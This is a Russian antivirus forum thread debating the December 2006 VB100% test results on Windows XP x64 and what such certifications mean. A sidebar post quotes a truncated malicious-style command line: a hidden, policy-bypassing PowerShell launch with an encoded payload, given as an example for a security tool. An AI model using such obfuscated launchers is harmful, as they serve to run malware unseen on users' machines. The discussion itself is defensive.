Перейти к содержанию
Ego1st

VB100% - December 2006

Recommended Posts

Ego1st

Windows XP x64 Edition - December 2006

Тестирование проводилось на Windows XP Professional x64 Edition

Alwil - VB100%

Avira - VB100%

Computer Associates (Vet) - VB100%

CAT QuickHeal - VB100%

Eset - VB100%

Fortinet - Failed

GDATA - VB100%

Grisoft - VB100%

Kaspersky - VB100%

McAfee - VB100%

Norman - Failed

Sophos - VB100%

Symantec - VB100%

Trend Micro - Failed

VirusBuster - VB100%

Самое удивительное для меня оказался Trend Micro который провалил тест..

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Мальцев Тимофей

А где этот? Ну, мой любимый? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Ham

Помнится в обсуждении о Virus Bulletin ребята из АПЛ (эксклюзивный дистрибутор Trend Micro) говорили много интересных слов.

Я не поленился даже достать этот топик.

http://www.anti-malware.ru/phpbb/viewtopic.php?t=666

Михаил Кондрашин: "Как правильно сказано ниже, это тестирование отсекает худших".

Михаил Кондрашин: "...если набрать достаточно человеческих ресурсов, то можно из утилиты grep сделать антивирус с VB 100%."

Михаил Кондрашин: "Дело в том, что VB определяет некий базовый уровень для антивируса. Если антивирус достаточно стабильно получает свой VB100%, то это не самый худший антивирус. Если стабильно не получает, то это "полный отстой".

Тут McAfee скоро выйдет на российский рынок...

Я всегда говорил, что компания придумывает мифы о ROI и прочей ISO тогда, когда не может научиться нормально противостоять вирусам (я не говорю даже про другое malware), которые появились несколько! дней назад.

Кстати, VB100 дается за близкий к 100% уровень детектирования. При этом абсолютные 100% показывают единицы. Оказывается нетривиально справиться даже с таким "простым" тестированием:)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
SuperBrat

Ham, все могут ошибаться. Да и тестирование не простое - x64 Edition.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
_Stout
Ham, все могут ошибаться. Да и тестирование не простое - x64 Edition.

А чем x64 сложнее, скажем, Novel Netware или linux? Практически у всех АВ ядра одинаковые на всех платформах.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
А чем x64 сложнее, скажем, Novel Netware или linux? Практически у всех АВ ядра одинаковые на всех платформах.

Ядра-то, может, и одинаковые, а вот файловые мониторы переписать на х64 сложнее, ибо там драйвера , привязанные к определённой архитектуре ОС.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Михаил Кондрашин
Помнится в обсуждении о Virus Bulletin ребята из АПЛ (эксклюзивный дистрибутор Trend Micro) говорили много интересных слов.

Я не поленился даже достать этот топик.

http://www.anti-malware.ru/phpbb/viewtopic.php?t=666

Михаил Кондрашин: "Как правильно сказано ниже, это тестирование отсекает худших".

Если продукт не может получить ни одного VB100%, это плохой продукт. Неразумно требовать получения VB100% все время.

Михаил Кондрашин: "...если набрать достаточно человеческих ресурсов, то можно из утилиты grep сделать антивирус с VB 100%."

Для создания антивируса из утилиты grep потребуется неоправдано большое количество ресурсов

Михаил Кондрашин: "Дело в том, что VB определяет некий базовый уровень для антивируса. Если антивирус достаточно стабильно получает свой VB100%, то это не самый худший антивирус. Если стабильно не получает, то это "полный отстой".

О!

Я всегда говорил, что компания придумывает мифы о ROI и прочей ISO тогда, когда не может научиться нормально противостоять вирусам

И были совершенно не правы!

Если не рассматривать "сферического коня в вакууме", а защиту реальной корпоративной сети (не будем смотреть на Home/SOHO), то есть только стоимость защиты и ущерб. Лучший продукт, это у которого сумма стоимости защиты и ущерба минимальна. Поймите, что VB100% не означает ни 100% отлов вредоносного кода ни 99%. Это все не серьезно, так как VB100 использует не очень большую коллекцию вирусов. Так как получение VB100% не означает, что при использовании этого продукта исключен ущерб, то в любом случае рассматривать нужно сумму двух ненулевых слагаемых. Именно минимизировать эту сумму и пытаются вендоры. Каждый немного по своему.

Кстати, VB100 дается за близкий к 100% уровень детектирования. При этом абсолютные 100% показывают единицы. Оказывается нетривиально справиться даже с таким "простым" тестированием:)

Нетривиально. Создание продукта, который за доли секунды проверяет файл по базе в сотни тысяч сигнатур тоже нетривиальная задача.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×